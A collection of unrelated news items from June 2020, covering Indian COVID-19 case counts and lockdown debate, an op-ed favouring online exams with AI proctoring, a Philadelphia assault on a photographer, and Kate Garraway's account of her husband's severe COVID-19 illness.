Of the 173 cases, 150 were in quarantine centres, where people returning from different states are staying. Twenty-three others were detected with the infection during contact-tracing exercises, he said.

The Tamil Nadu government sets the price limit for COVID-19 treatment in private hospitals at Rs 15,000 per day in Intensive care unit (ICU), PTI reported. In the general ward, the charges have been limited Rs 7,500 per day.

In the past 24 hours, two Maharashtra Police personnel have succumbed to the novel coronavirus, said the police force on Saturday. However, no cops have tested positive for the viral infection in the past 24 hours.

"Total number of police personnel who have tested positive for the virus is at 2,561. While, the toll stands at 33," said the Maharashtra Police.

Air India sold over 22,000 tickets for west-bound Vande Bharat fights from 5 pm on Friday till 8 am on Saturday after the airline's website experienced 6-7 times more activity.

Under the third phase of Mission Vande Bharat, Air India opened bookings for select destinations in the United States, Canada, United Kingdom and Europe at 5 pm on Friday.

Of the total 45,24,317 COVID-19 samples tested so far, 1,37,938 were tested in the past 24 hours, said the Indian Council of Medical Research (ICMR) on Saturday.

Another official at the Enforcement Directorate tested positive for the novel coronavirus, taking the total number of infections to six on Saturday, NDTV quoted sources as saying.

The headquarters in Delhi at the Lok Nayak Bhawan in Khan Market has been sealed till Sunday.

The Enforcement Directorate office has been shut until Sunday after five employees were found to be infected with coronavirus. The officials who have tested positive are - Special Director (HIU), Staff in Legal Section and Intelligence section, IO handling Aviation Scam.

India registered a total of 9,887 new COVID-19 cases and 294 deaths in the past 24 hours, according to the latest data released by the health ministry on Saturday. This takes the total confirmed cases to 2,36,657 nationwide.

Of the total 2.36 lakh COVID-19 cases, 1,14,072 people have been cured of the infectious disease as of Saturday, said the health ministry. This takes the COVID-19 recovery rate to 48.20 percent.

Surpassing Italy, the number of coronavirus cases in India climbed past 2.35 lakh on Friday, taking the country to the sixth spot worldwide, according to the data released by John Hopkins University. India on Friday registered 9,332 new COVID-19 cases and 297 deaths. The total stood at 2,36,047, including 6,647 deaths.

In terms of cases, India had crossed China - where the virus emerged late in 2019 - for the ninth spot just a week ago.

As India moves towards relaxing a two-and-half month-long stringent lockdown under a systematic unlock plan by the home ministry, COVID-19 cases have been rising exponentially with a jump of nearly 61,000 cases in the past one week. Medical experts feel that if the situation spirals out of control, the lockdown may have to be reimposed.

India saw 9,851 coronavirus cases and 273 deaths on Friday, pushing the nationwide infection tally to 2,26,770 and the toll from the deadly virus to 6,348, according to the Union health ministry. There has been a record spike in cases for three consecutive days now.

A 'failed' lockdown?

Most countries like Spain, Germany, Italy and the UK, lifted their respective lockdowns and curbs when their COVID-19 graphs either flattened or dipped, according to statistics shared on Twitter by Congress leader Rahul Gandhi.

This is what a failed lockdown looks like. pic.twitter.com/eGXpNL6Zhl  Rahul Gandhi (@RahulGandhi) June 5, 2020

India's COVID-19 curve has been steadily rising throughout the lockdown period with a massive spike in cases in the fourth phase of the lockdown that ended on 31 May and afterwards.

The fourth phase of the coronavirus-triggered lockdown, which began on 18 May, saw 85,974 COVID-19 cases till 8 am on Sunday, according to health ministry data.

The lockdown 1, which was first clamped on 25 March and spanned for 21 days, had registered 10,877 cases, while the second phase of the curbs that began on 15 April and stretched for 19 days till 3 May, saw 31,094 cases.

The third phase of the lockdown that was in effect for 14 days ending on 17 May, recorded 53,636 cases till 8 am of 18 May.

Last Friday, the number of COVID-19 cases stood at 1,65,799, while a week before that on 22 May, there were 1,18,447 cases. Therefore, the spike in the last one week has been of 60,971 cases, while the increase in the number of infections in the week before that was 47,352.

At present, India is the world's seventh-worst hit nation in terms of overall case count, after the US, Brazil, Russia, the UK, Spain and Italy. When the lockdown started, India was nowhere on the chart and had just a 100 cases.

Experts say re-imposition of lockdown may be necessary

"Whenever lockdown is opened in phases, there will be a spurt in cases. A lockdown basically is used to prepare for the pandemic and halt the spread," said Dr Vikas Maurya, director and head of the Department of Pulmonology and Sleep Disorders at Fortis Hospital, Shalimar Bagh.

"Increase in cases will be there when unlocking is done in phases, but what is important is to be mindful that the situation should not spiral out of control, as if it does, then lockdown will have to be re-imposed," Maurya told PTI.

Noted lung surgeon Dr Arvind Kumar said that it was important to ensure that people continue to have a "self-imposed" lockdown and follow the "four golden principles"  don't go out unless necessary, always wear a mask, keep distance and keep washing hands.

"Right now the situation does not warrant a re-imposition of the lockdown, but if the situation spirals out of control, then we would have to go back to a lockdown," he told PTI.

Kumar, who works at the Sir Ganga Ram Hospital in Delhi, also asserted that it was too early to allow religious places and malls to open as there are not enough checks to ensure that people will not flout norms.

Dr Vivek Nangia, director and head pulmonology at Fortis Hospital in Delhi's Vasant Kunj area, also said that the rapid rise in cases was worrying.

It is still early to open malls and religious places as if congregations start to happen, then things could spiral out of control, he told PTI.

Despite this, the Union Health Ministry on Thursday issued standard operating procedures to be followed by religious places, shopping malls, restaurants, hotels and offices to contain the spread of COVID-19 as India gears up to reopen the economy.

The preparations for reopening the economy, which has been severely hit by the coronavirus-triggered lockdown, from 8 June comes amid mounting cases and toll in the country.

Meanwhile, the health ministry data showed the number of active COVID-19 cases in the country at 1,10,960 while 1,09,461 people have recovered and one patient has migrated, it said.

Thus, around 48.27 per cent patients have recovered so far.

The first case of COVID-19 in India was reported on 30 January from Kerala after a medical student of Wuhan university, who had returned to India, tested positive for the virus.

Kerala's daily count touches three digit, UP, Tamil Nadu register spike in cases

For the first time, Kerala's COVID-19 daily figures touched three digits with the state recording 111 cases, prompting Chief Minister Pinarayi Vijayan to term the situation grim.

The surge in positive cases has pushed the infection count to 1,699 while 1.77 lakh people are under observation. On 8 May, Kerala had declared that it had flattened the coronavirus curve after reporting a solitary case and just 16 people under treatment. However, with more people coming to the state from abroad and other states, the cases have seen a sudden spike.

Likewise, Uttar Pradesh recorded its biggest single-day jump of 496 COVID-19 cases, taking the state's tally to 9,733, while 12 more people succumbed to the disease, a senior official said.

With the fresh deaths, the toll in the state has risen to 257, said principal secretary, health, Amit Mohan Prasad.

There are 3,828 active cases in the state, while 5,648 people have recovered and been discharged from hospitals, he said.

Maharashtra reported 2,436 new coronavirus patients on Friday, taking the tally of cases in the state to 80,229, a health department statement said. The state reported 139 COVID-19 deaths on Friday , taking the toll to 2,849.

Out of 139 deaths, 93 were reported from Mumbai Metropolitan Region (MMR) including 54 from Mumbai city. Mumbai accounts for 46,080 coronavirus cases and 1,519 deaths. The larger MMR has recorded 60,604 cases and 1,903 deaths.

Tamil Nadu also continued to witness a surge in COVID-19 infections with 1,438 cases and 12 deaths reported on Friday, taking the count to 28,694 and fatalities to 232. Of the fresh positive cases, Chennai alone accounted for 1,116 with the state capital's aggregate touching a whopping 19,826. Continuing with the trend of a new high everyday, Tamil Nadu on the sixth straight day Friday reported 1,000 plus cases and the newly infected include six people from Qatar, five from Dubai and one from Sri Lanka, a health department bulletin said.

In Gujarat, 510 new coronavirus patients were detected since previous evening, the highest increase in a single day, while 35 patients died, the state health department said.

Gujarat is the fourth worst-affected state in the country as per health ministry figures.

The total number of positive cases in the state has gone up to 19,119, while death toll due to coronavirus rose to 1,190, it said.

Nurses at Delhi's AIIMS threaten one-day walk out

Meanwhile, according to AP, nurses at a Delhi's All India Institute of Medical Sciences (AIIMS) threatened Friday to stage a one-day walkout next week if working conditions don't improve.

The nurses at AIIMS, a leader in treatment of COVID-19 cases, have been protesting since Monday over long shifts and the need to use congested cubicles to change in and out of personal protective equipment, a possible health risk.

More than 350 medical workers at AIIMS and 150 family members have been infected by the virus since March, the hospital's medical superintendent Dr DK Sharma told AP. He said about 60 percent have recovered.

If day after day our health care workers are infected... we are going to face a big issue, said Fameer CK, general secretary of the union that represents 5,000 nurses at AIIMS.

The union issued the threat to stay home from work next Wednesday after talks with the hospital administration on Thursday ended without agreement, he said.

Hospital authorities refused to comment on the protest.

With inputs from agencies
A wise man said that necessity is the mother of invention. Though this cannot be applied to the subject of Online Examinations, the spirit of these wise words could be borrowed to understand why the Indian Education System is exploring Online Examinations. Our country relies on summative assessments for progression in our education system. The summative assessments are in the form of end term examinations. This is more applicable in our higher education system and to some extent in the school education system.

The unprecedented lockdown due to Covid-19 has taken away the wind from the sails of the conventional education system. Students and faculty are confined in their homes and as a result, paper and pen exams in a traditional examination hall are no more feasible. The uncertainty associated with the tenure of such a lockdown and delayed exams is threatening to delay the progress of millions of students enrolled in our higher education system. The direct impact of this delay is on the student, but the indirect impact is much larger, as it disrupts the well-oiled supply chain of qualified human resources that are required to fuel the growth of our economy.

It is quite paradoxical to note that many competitive examinations of international repute like GRE and GMAT have gone online and from home, but our higher education system finds it difficult to adopt, when the same is applied to the examinations conducted by majority of schools and colleges in India. We do understand the reasons for uneasiness because the present situation is complex and demands that the online exams be administered in a manner that can be taken by the students from their home. So, let us look at the some of the reasons for this uneasiness:

1. Can an online exam be synchronous? In other words, can the entire cohort of students take the exams as per the examination schedule?

2. How does one proctor such an examination, where students are dispersed geographically and appearing for exams from home?

3. How can the invigilator address the issue of unfair means like the use of books, access to the Internet, mobile connectivity and prompting by a friend from the

background when exams are being conducted online?

4. What happens if there is a power blackout or the connectivity to the internet is lost?

5. The most important concern is, are online assessments as rigorous as paper and pen exams?

6. Last but not the least, the aversion to adoption of technology both by faculty and students, that is, to come out of the comfort zone.

Besides these direct concerns, the ubiquity of computer accessibility and availability of Internet connectivity is another major concern. The above concerns are real and can generate interesting arguments during a debate. However, these concerns are myths that can be shattered, if one delves into the features provided by various technology platforms designed to deliver online examinations that can be taken from anywhere.

Today, most of the technology platforms are cloud based and can be accessed from anywhere anytime. Thus, organizing a synchronous event to conduct examination across

students dispersed geographically is probably the easiest problem to handle. Most computer devices and tabs are equipped with web camera, or we may call them the eyes of the computer which when powered by some powerful AI enabled software can do magic.

Thus, when a student is appearing for an examination from home, the student is eye locked. What this means is, that the camera is used to detect any abnormal action such as picking up a mobile phone, periodically looking at one location, noticing any kind of assistance being received from another person etc. Such features ensure that the human proctor observing the student sitting miles away behind the proctoring terminal does not miss such anomalies and can immediately address the suspected action. If the investigation does reveal malpractice the human proctor can initiate on- the- spot action just like that of a conventional exam hall. The combined power of AI proctoring enabled by the camera and the microphone on the students computer, coupled with invigilation by a human proctor, provides for a robust proctoring mechanics, may even be beating the conventional proctoring in a traditional examination hall.

Power blackouts and connectivity failures are realities that one cannot ignore. However, the risks associated with the same are easily mitigated by configuring such exams to maintain the last state of the machine and resume the exam when power or connectivity is restored.

The examination host can configure multiple parameters to define the period of the blackout beyond which the examination could be cancelled, and a make-up examination could be conducted.

All online examination platforms can offer all question types which can be rendered on a paper pen exam. Such platforms can also provide assessment which would require the students to solve a real-life problem such as writing a piece of code and/or building a data analytics model. These flexibilities make the examination platforms more versatile in terms of delivering a rigorous exam. The level of the rigor is completely determined by the assessor.

Technology platforms that enable online examinations in our country also provide services to assist institutions for delivering online examinations. The role of the faculty continues to be limited to providing the question paper and evaluation of the answer scripts. Technology platforms do permit faculty to correct answer sheets online and also have the option of providing them printed versions to suit their comfort and convenience. This is a classic example of leveraging IT Enabled services for an important function such as examinations without impacting the nature of work of the faculty. Thus, the perception, that online exams is about technology readiness, needs to be changed to eradicate the attitude of aversion across stakeholders: administrators, faculty, and students.

In the post Covid-19 era, social distancing is going to be the new normal. We may lose the convenience of organizing exams in halls that can accommodate many students. The availability of examination halls may become a scarcity in the coming days and to overcome this, administrators may increase the frequency for examinations. However online examinations can easily reduce the burden by keeping students who have access to computer and internet at home and the rest could write the exams conventionally. Online examination is emerging as a possible solution to address the concerns around social distancing.

Having addressed the primary concerns, it will only be fair to look at the advantages that Online Examination can offer. Some of the key advantages are mentioned below:

1. Differential paper setting can be done with ease. One has to choose the right algorithm amongst many offered by online examination platforms to determine the

question paper to be rendered to various students. Thus, online exams can mitigate the risk of paper leakage substantially.

2. Automatic correction of multiple-choice questions and some other types of questions can reduce the burden of evaluations considerably and can eliminate the

occurrence of errors in evaluations. Not to forget that the evaluation of such questions can happen on real time. The subjective answers can be routed to

authorized assessor in a blind manner further mitigating the risks associated with malpractices that need extra vigilance and resources in conventional exams.

3. Preventing impersonification, in other words ensuring that the paper is answered by the registered candidate and not anyone else is also well addressed by technology. Applying two/three factor authentication, the same mechanics used in online banking if applied to examinations can eradicate the proxy writing practice from the country.

4. The online examination system also offers multiple solutions to help differently abled persons to write examinations along with the peer group in the batch.

Questions could be read out by the machine and answers can be captured by voice files to assist such persons. The technology can replace the need for a proxy writer

or reader for such persons, making it more convenient for such persons to appear in examinations.

5. Last but the most significant, saving of paper, resources spent on transporting and logistics for delivering exams the conventional way and the subsequent resources spent for assessing the answer sheets would definitely add to the convenience of higher education institutions. Not to forget the reduced time in delivering examinations and its associated logistics can reduce the stress on the students and help the institutions in declaring the results on time.

A democracy like India, which is the largest, has been able to pull off elections through e-voting. India, which is considered the back office of the world for Information Technology, should be least concerned about the challenges and should lap up the advantage of online examination to make our examination system agile, reliable, efficient and most importantly stress free for the students.

Online examinations should be adopted and propagated across educational institutions for delivering exams in the future to give shape to our dream of a truly digital India.

The authors are Sanjay Padode  Founder of IFIM Business School , Chairman, CDE and Dr Atish Chattopadhyay  Director of IFIM Business School. Views expressed are personal.
A 43-year-old British pilot who has been in a critical condition since being diagnosed with novel coronavirus disease (COVID-19) has regained 50 percent of his lung capacity, a remarkable increase from just 10 percent a few weeks ago.

Doctors in Vietnam convened their fourth teleconference on Thursday to continue discussing treatment options for the Briton.

According to a report from doctors at Cho Ray Hospital in Ho Chi Minh City where the patient is being treated, the condition of his heart and pancreas has stabilized since he was taken off ECMO, a form of life support, on Wednesday.

The patient is fully awake and able to urinate without the help of a urinary catheter.

The most notable milestone thus far in his recovery has been an increase in his lung capacity to about 50 percent.

On May 13, a CT scan revealed that only 10 percent of his lungs were functional, with doctors and experts believing that a lung transplant was the patients only shot at survival.

His lung capacity increased to about 30 percent a week later and to 40 percent last week, raising hopes of the possibility he could survive without the surgical procedure.

At the teleconference, doctors and experts also discussed the use of various medications for the patient as well as the continuation of physical therapy to help him restore his physical functions.

According to the Ministry of Health, representatives from the British Consulate General in Ho Chi Minh City have visited the patient.

The Briton, a Vietnam Airlines pilot, was identified as the countrys COVID-19 patient No. 91 after his diagnosis in mid-March.

He was first treated at the Ho Chi Minh City Hospital for Tropical Diseases and was transferred to Cho Ray on May 22 after being cleared of the coronavirus.

Vietnams COVID-19 tally remained at 328 as of Friday morning, with 302 having recovered. No death from the disease has been reported.

No community spread has been detected in the country for nearly 50 days.

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A news photographer was assaulted while touring the business district at Broad and Erie with the Police Commissioner and Mayor. Police Commissioner Danielle Outlaw (left) attends to the photographer as he sits on the sidewalk at Broad St. at Avenue in Philadelphia on Thursday. Read more

Moments after Philadelphia Police Commissioner Danielle Outlaw began touring a North Philadelphia neighborhood at Broad and Erie on Thursday to visit businesses and speak with residents, a man a few feet away punched a news photographer in the face, in full view of her and Mayor Jim Kenney.

Outlaw ran to the aid of the photographer, intervening along with other officers on the scene. Police swarmed the assailant and took him into custody.

Outlaw, 43, who took over as the citys top cop after a similar role in Portland, Ore., has had a fast rise up the ranks during her career. But decades ago, she walked the streets as a patrol officer in her hometown in Oakland. Calif.

After the incident Thursday, she and other officers talked briefly with the photographer, who was knocked to the ground and suffered a bloodied face, before he was taken to a hospital and treated for injuries.

 READ MORE: Philly Police Commissioner Danielle Outlaw to cops: Dont block your badge numbers

The commissioner said the attack illustrated the volatility still present on the citys streets this week. Unexpected bursts of violence, she said, further heighten the fear and anxiety many are living with.

You can predict a lot, Outlaw said. But that was a perfect example of, you cant predict everything. That was terrible."

Earlier, Outlaw and Kenney visited several businesses nearby along Germantown Avenue.

These are our neighbors. These are our folks, Kenney said. He told residents the neighborhood was in line for unspecified community improvement plans.

 READ MORE: Wolf will appoint misconduct watchdog, establish commission to oversee Pa. state troopers, correctional officers

Several passersby cheered when they saw Outlaw.

We love you, Danielle! yelled one woman from outside Maxs Steaks as Outlaw passed by. You are a sweetheart, and we love that youre here in Philadelphia."

After the assault, others on the street denounced the attack, saying they appreciated Outlaw and Kenneys visit.

Theres a lot of people who just want to be heard," said Julius Collier, who lives nearby. Theyre just down, because they feel like people dont really care.
President Trump tweeted on Thursday that he would endorse "any candidate" with a pulse who runs against Sen. Lisa Murkowski (R-Alaska).

Driving the news: Murkowski said on Thursday that she supported former Defense Secretary James Mattis' condemnation of Trump over his response to protests in the wake of George Floyd's killing. She described Mattis' statement as "true, honest, necessary and overdue," Politico's Andrew Desiderio reports.

What they're saying: "...Unrelated, I gave Alaska ANWR, major highways, and more. Get any candidate ready, good or bad, I don't care, I'm endorsing. If you have a pulse, I'm with you!" Trump tweeted Thursday evening.

"Perhaps we're getting to the point where we can be more honest with the concerns that we might hold internally, and have the courage of our own convictions to speak up," Murkowski told Politico on Thursday.

"I am struggling with it. I have struggled with it for a long time ... I think right now as we are all struggling to find ways to express the words that need to be expressed appropriately, questions about who I'm going to vote for not going to vote for I think are distracting," she said.

Go deeper: Murkowski calls Mattis' Trump criticism "true and honest and necessary and overdue"
A grass fire suspected to be caused by an arsonist was 80% contained early Friday morning in San Joses Santa Teresa foothills, officials said.

The fire had burned 90 acres, threatened homes and prompted evacuation orders for a few hours Thursday before the orders were lifted, according to Cal Fire.
The agriculture sector is tipped to grow at 2.5 per cent in this fiscal despite the shadow of Covid-19 pandemic looming on horticulture and the risk to crops from locust attacks.

In its study, ratings agency CRISIL said that agriculture and allied activities could be the only bright spots in the Indian economy battered by the pandemic that has wrecked the growth of industry and services. The effects of the pandemic on the sector thus far have, however, been varied. Thats because agriculture and allied activities is not a homogeneous group, but an umbrella of ...
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Kate Garraway broke down in tears as she revealed critically-ill husband Derek Draper thanked her for 'saving his life' before he slipped into a coma during his 10-week battle with coronavirus.

The presenter, 53, became overcome with emotion during Friday's Good Morning Britain as she admitted she 'doesn't know' if Derek, 52, can recover from the 'extraordinary damage' COVID-19 has inflicted on his body, and may be in a coma for a year.

Kate said: 'Well there will be tears, I'll try to keep them down, he's still with us, he has fought the most extraordinary battle, the fact that he's still here and holding on.

'I am so grateful that he's still here, and I've got the option of praying while others have lost that. He's very, very sick and as time goes on, it's a virus, it's like a computer virus, the doctors manage one but there seems to be a flicker of hope and other things emerge and they're fighting that.

Brave: Kate Garraway broke down in tears as she revealed critically-ill husband Derek Draper thanked her for 'saving his life' before he slipped into a coma during his battle with coronavirus

Health update: The presenter, 53, cried as she revealed Derek is now free from coronavirus but is continuing to fight against the damage inflicted on his body by COVID-19 (pictured in 2019)

'It has affected him from the top of his head to the tip of his toes.

She added: 'He is now COVID free, he has tested negative, the fight with the virus is over but it's wreaked extraordinary damage on his body and we don't know if he can recover from that.

Kate spoke for the first time about Derek's initial admission to hospital in March, revealing the last thing he said to her before he was put in a medically-induced coma, was 'I love you, you saved my life.'

She said: 'In that first week it looked like he was rallying. But then he was very bad, he couldn't really speak to me, he could shout things to me on speakerphone.

'He was begging me, he said "I can't take this, I feel like I'm suffocating", he said "please let them put me in a coma" and they didn't want to do that. On Sunday they said "we're going to put him in a coma as overnight we think we have to do that."'

'He said: "I love you, I'm sorry I have to leave you, you've saved my life". I think he thought I had asked the doctors to put in him in a coma. He said "being married to you, the children, you saved my life".'

Support: She said: 'Well there will be tears, I'll try to keep them down, he's still with us, he has fought the most extraordinary battle, the fact that he's still here and holding on'

Brave: Kate spoke for the first time about Derek's initial admission to hospital in March, revealing the last thing he said to her before he was put in a coma, was 'you saved my life'

REVEALED: HOW THE CRUEL LEGACY OF COVID MAY LAST A LIFETIME Covid-19 could leave survivors with debilitating illnesses that last for years, doctors have warned since the outbreak spiralled out of control. One leading medic called it 'this generation's polio' - a disease that killed thousands and left a generation with life-long mobility issues. Patients who spend weeks fighting for life in intensive care can suffer from long-term complications caused by permanent damage to their lungs and liver. Physiotherapists also warn patients can suffer a loss of mobility, if they are stuck on hospital wards for weeks, or endure flashbacks and emotional distress. But even patients who endure symptoms so mild they don't get admitted to hospital are plagued by fatigue, headaches and breathlessness that can linger for weeks. Several recent studies have highlighted proof Covid-19 causes fibrosis - scarring of the lung tissue that makes it harder for the organs to work. A research paper published in a Chinese journal in March said 'pulmonary fibrosis may be one of the major [long-term] complications in Covid-19 patients'. Evidence is also emerging that the virus may affect the brain, causing seizures and stroke, as well as harming the liver, kidneys, heart and blood vessels. A paper in the journal JAMA Cardiology in March reported one in five of 416 Covid-19 patients hospitalised in Wuhan, China, had suffered heart damage. The heart problems are thought to occur as a result of the virus triggering a 'cytokine storm', where the immune system overreacts to the infection. Number 10's panel of leading scientists - SAGE - called for studies to investigate the lasting effects of the illness. Advertisement

Derek has previously credited Kate for saving him from depression which started during his career as a political advisor and led to a nervous breakdown and a stint in The Priory in the late 1990s.

After moving to Los Angeles for three years and retraining as a therapist, his friend GMTV's political correspondent, Gloria De Piero, offered to set him up with her friend and colleague Kate.

Derek said: 'I haven't been depressed for years, since just before I met Kate, who has changed me for the better anyway.

'I eventually realised I had been masking the depression for years with overwork, drinking or womanising... the drink, drugs and promiscuity, were all toys and inside, unbeknownst to me, the little child part of me was in the driving seat.'

Lovely surprise: The Good Morning Britain host previously revealed the couple were set to renew their wedding vows after Derek popped the question again after she left the I'm A Celebrity jungle

Derek Draper: How meeting Kate rescued the hard-living former lobbyist from his battles with depression Derek has previously credited Kate for saving him from depression which started during his career as a political adviser and led to a nervous breakdown and a stint in The Priory in the late 1990s. After moving to Los Angeles for three years and retraining as a therapist, his friend GMTV's political correspondent, Gloria De Piero, offered to set him up with her friend and colleague Kate. Derek said: 'I haven't been depressed for years, since just before I met Kate, who has changed me for the better anyway. 'I eventually realised I had been masking the depression for years with overwork, drinking or womanising... the drink, drugs and promiscuity, were all toys and inside, unbeknownst to me, the little child part of me was in the driving seat.' Soulmates: Derek has previously credited Kate for saving him from depression which started during his career as a political adviser and led to a nervous breakdown and a stint in The Priory in the late 1990s (pictured 2006) Kate and Derek have been married for 14 years, with the former lobbyist cheering his wife on for the duration of her stint on I'm A Celebrity last year, he flew out to Australia with their two children to meet her. The couple, who wed in September 2005, have previously discussed their union, with Derek admitting that he feared she was 'a high-maintenance TV bimbo'. Following her stint on I'm A Celebrity, the couple were planning to renew their vows in the coming months after Kate revealed Derek had proposed for a second time. Speaking to Mail on Sundays You magazine, Kate explained that the proposal idea had come about after she had removed her engagement ring while competing in the jungle. However, the big moment - which happened off-camera - didn't quite go to plan as Derek became too overwhelmed with emotion. She said: 'Youre told you cant take any jewellery into the jungle. I didnt want to take my wedding ring off, as I never have since we got married. But I did take my engagement ring off. 'When Derek came to meet me after I left the jungle, he was planning to propose to me again [with the ring, in front of the TV cameras], but he got overwhelmed and burst into tears.' Discussing the heartwarming moment further, she continued: 'The kids leapt out and surprised me and Darcey said, "Oh Dad  you didnt do it!" So he got down on one knee and proposed and I said yes, obviously.' Derek is best-known for his career as a former lobbyist, who suffered a fall from grace when he was embroiled in the 1998 Lobbygate scandal. Lancashire-born Derek was a former advisor to Tony Blair's government and known for his party lifestyle before he met Kate. During his time as a political adviser he was embroiled in two political scandals - 1998's Lobbygate and in 2009 a scandal surrounding LabourList, the website he edited. In 1998 he was caught in a sting by an undercover Observer reporter, bragging about his access to government ministers. The Lobbygate scandal led to his Daily Express column being axed, the loss of his lobbying job and his firing from his role as editor of New Labour Magazine Progress. He previously told The Scotsman: 'Everyone assumes I got depressed because of the scandal. 'Actually, I had been depressed for two years, from around 1996. I thought I had a physical virus. I'd always been quite arrogant and cocky, but I think I put all my unhappiness into my obsession with the Labour Party. 'The really spectacular breakdown came two years into my depression with the lobbying thing. That was the killer.' Depression he had been battling for two years turned into a nervous breakdown, with Derek spending a month in the Priory and undergoing therapy. He went on to write two books - Blair's 100 Days and Life Support - before moving to LA for three years and retraining as a psychotherapist. Advertisement

Kate and Derek have been married for 14 years, with the former lobbyist cheering his wife on for the duration of her stint on I'm A Celebrity last year, he flew out to Australia with their two children, Darcey, 14, and William, 10, to meet her.

The couple, who wed in September 2005, have previously discussed their union, with Derek admitting that he feared she was 'a high-maintenance TV bimbo'.

Following her stint on I'm A Celebrity, the couple were planning to renew their vows in the coming months after Kate revealed Derek had proposed for a second time.

Speaking to the Mail on Sundays You magazine, Kate explained that the proposal idea had come about after she had removed her engagement ring while competing in the jungle.

However, the big moment - which happened off-camera - didn't quite go to plan as Derek became too overwhelmed with emotion.

Heartbreak: Kate said: 'He was begging me, he said 'I can't take this, I feel like I'm suffocating', he said 'please let them put me in a coma'

She said: 'Youre told you cant take any jewellery into the jungle. I didnt want to take my wedding ring off, as I never have since we got married. But I did take my engagement ring off.

'When Derek came to meet me after I left the jungle, he was planning to propose to me again [with the ring, in front of the TV cameras], but he got overwhelmed and burst into tears.'

Discussing the heartwarming moment further, she continued: 'The kids leapt out and surprised me and Darcey said, "Oh Dad  you didnt do it!" So he got down on one knee and proposed and I said yes, obviously.'

Derek is best-known for his career as a former lobbyist who suffered a fall from grace when he was embroiled in two scandals.

He was a former adviser to Tony Blair's government and known for his party lifestyle.

During his time as a political adviser he was embroiled in two political scandals - 1998's Lobbygate and in 2009 a scandal surrounding LabourList, the website he edited.

In 1998 he was caught in a sting by an undercover Observer reporter, bragging about his access to goverment ministers.

Stay positive: Kate , her son Billy, 10, and daughter Darcey, 14, clapped for carers on Thursday night with the star discussing how she was helping her children during the tough time

The Lobbygate scandal led to his Daily Express column being axed, the loss of his lobbying job and his firing from his role as editor of New Labour Magazine Progress.

He previously told The Scotsman: 'Everyone assumes I got depressed because of the scandal.

'Actually, I had been depressed for two years, from around 1996. I thought I had a physical virus. I'd always been quite arrogant and cocky, but I think I put all my unhappiness into my obsession with the Labour Party.

'The really spectacular breakdown came two years into my depression with the lobbying thing. That was the killer.'

Depression he had been battling for two years turned into a nervous breakdown, with Derek spending a month in the Priory and undergoing therapy.

He went on to write two books - Blair's 100 Days and Life Support - before moving to LA for three years and retraining as a psychotherapist.

Emotion: Kate also moved host Ben Shephard to tears as she explained the impact Derek's illness was having on his beloved children

Hope: She said: She said: 'He is now COVID free, he has tested negative, the fight with the virus is over but it's wreaked extraordinary damage on his body and we don't know if he can recover from that' (pictured December 2019)

Kate went on to say Derek did not have any underlying health conditions and doctors were unable to explain why the virus had affected him in the way it had.

Kate said: 'He just got it very, very, very badly and we don't know why. When you speak to the doctors, there's so many things they tell you about to help you understand what he's going through.

'There's various markers that tell you how much infection is in his body when it was really raging.

'At one point, he was being transferred to a different hospital, there's an enzyme the liver produces which goes up when you're fighting infection, healthy it would be under 10, if it goes up to 200 then you're really sick.

'When Derek was admitted to the second hospital, he was 1286. He was off the scale with infection.

'His lungs were solid and nobody thought he'd live. So it's just extraordinary he's still here.

'I'm so proud of him and most of all, the doctors and nurses around him are just incredible. They're incredible with what they've done, with a disease they're learning about every day.'

Speaking about the start of Derek's illness, she said: 'Derek had a painful shoulder for a couple months, and had been taking medication and having scans

'He was due to have a steroid injection, he felt unwell and was home tutoring the kids

'I got back and said 'you don't you look right babe, i think it's the painkillers.'

'I just had this weird feeling, asked if he had a cough. He didn't, he said 'I think I've got weird sinusitis.''

'I rang the doctor, I said 'you don't look great, no real feeling that it's COVID, he had none of those symptoms.'

'Around the 29/30 March, I came home came in and said 'god you look ill.'

'He said he had a headache, numbness in his right hand, and was struggling to breathe,

'I rang Dr Hilary (Jones) and tried to get through, he talked to Derek. He said put me back on, I think you need to call an ambulance

'I said 'I can't believe I'm calling an ambulance', I was very scared.'

Strong: She said; 'Billy is going back to school on Monday, he said 'I don't want to go back to school before dad's better' (Pictured in November)

'He said we need to take him to hospital straightaway, he didn't have a temperature, and I helped him down the stairs

'He'd never been to hospital before, he never really gets ill and they put a mask on him to breathe

'He said to the kids: 'You're the best children anyone could ask for, be good for mum, look after her and that was it. He went straight to intensive care.'

Kate also moved host Ben Shephard to tears as she explained the impact Derek's illness was having on his beloved children Darcey, 14, and William, 10.

She said: 'I need to make them feel safe, they've lost their dad for the time being, they have been amazing. They have both been doing anything to find little moments of joy, so we can still smile. Derek says you've got to laugh, you've got to be silly.'

'Billy is going back to school on Monday, he said 'I don't want to go back to school before dad's better'.'

'Darcey has been on Amazon trying to get him some cool t-shirts. He's going back on Monday and that is what we have to do now. I've got to give them some life. Darcey and I will be home tutoring. It's carrying on with life when life isn't certain.'

Speaking more about the 'silly' moments, Kate revealed: 'There was a brilliant, ridiculous moment when Derek was obviously stuck in the coma and it wasn't the three to five days that we had hoped.

'Darcey did the thing that teenagers do - was on the internet looking up things about coma and she said, 'Mum, I was just reading about Covid. Sometimes when people come out of a coma they have completely different accents. One woman could speak fluent Mandarin.'

'And we were hysterical about the idea of Derek waking up really posh with a posh accent or suddenly speaking Mandarin. And I saw the look of relief that she was laughing and she said, 'Mum, it's going to be okay.'

'Billy was furious actually. He said, 'I don't want him to have a posh accent, I want him to talk Geordie!'

Kate said that doctors are navigating a field of uncertainty when it comes to Derek's prognosis, saying: 'They can't say he can't recover, they can't say he will recover. We don't know how long it will take

'Weeks and months, it could be up to a year, I am praying there will be progress before then.'

The star said the stark reality of Derek's illness had only just started to hit her in the last two weeks, crediting her career as a journalist for allowing her to deal with difficult situations in a calm manner.

So brave: GMB hosts Piers Morgan and Charlotte Hawkins praised Kate for her bravery

She said: 'Very early on, I spoke to Piers [Morgan] and he said, 'Right, come on Garraway, you're a journalist this is the story of your life. You're focused on Derek, you've got to get all the information you can.'

'And that actually really helped because I thought 'I've got a job'. Because we're in free- fall. I've got a job - to fight for Derek, keep life safe for Darcey and Billy and that forced me into that 'Breaking news mode'.

'When something awful happens and you're on air, you need to not think about the emotion of it, you have to think about doing your job. I rode that for weeks and weeks and weeks.'

She added: 'Then two weeks ago, I crashed, because you can't stay like that forever. I have huge hope and massive positivity and I'll never give up on that, because Derek's the core of my life and our lives.

'But at the same time, I have absolute uncertainty, mum, dad sisters, and the doctors don't know because they've never seen this before.

Support: Stars Susanna Reid, Lorraine Kelly, Laura Tobin and Georgia Toffolo rallied round Kate after her emotional interview

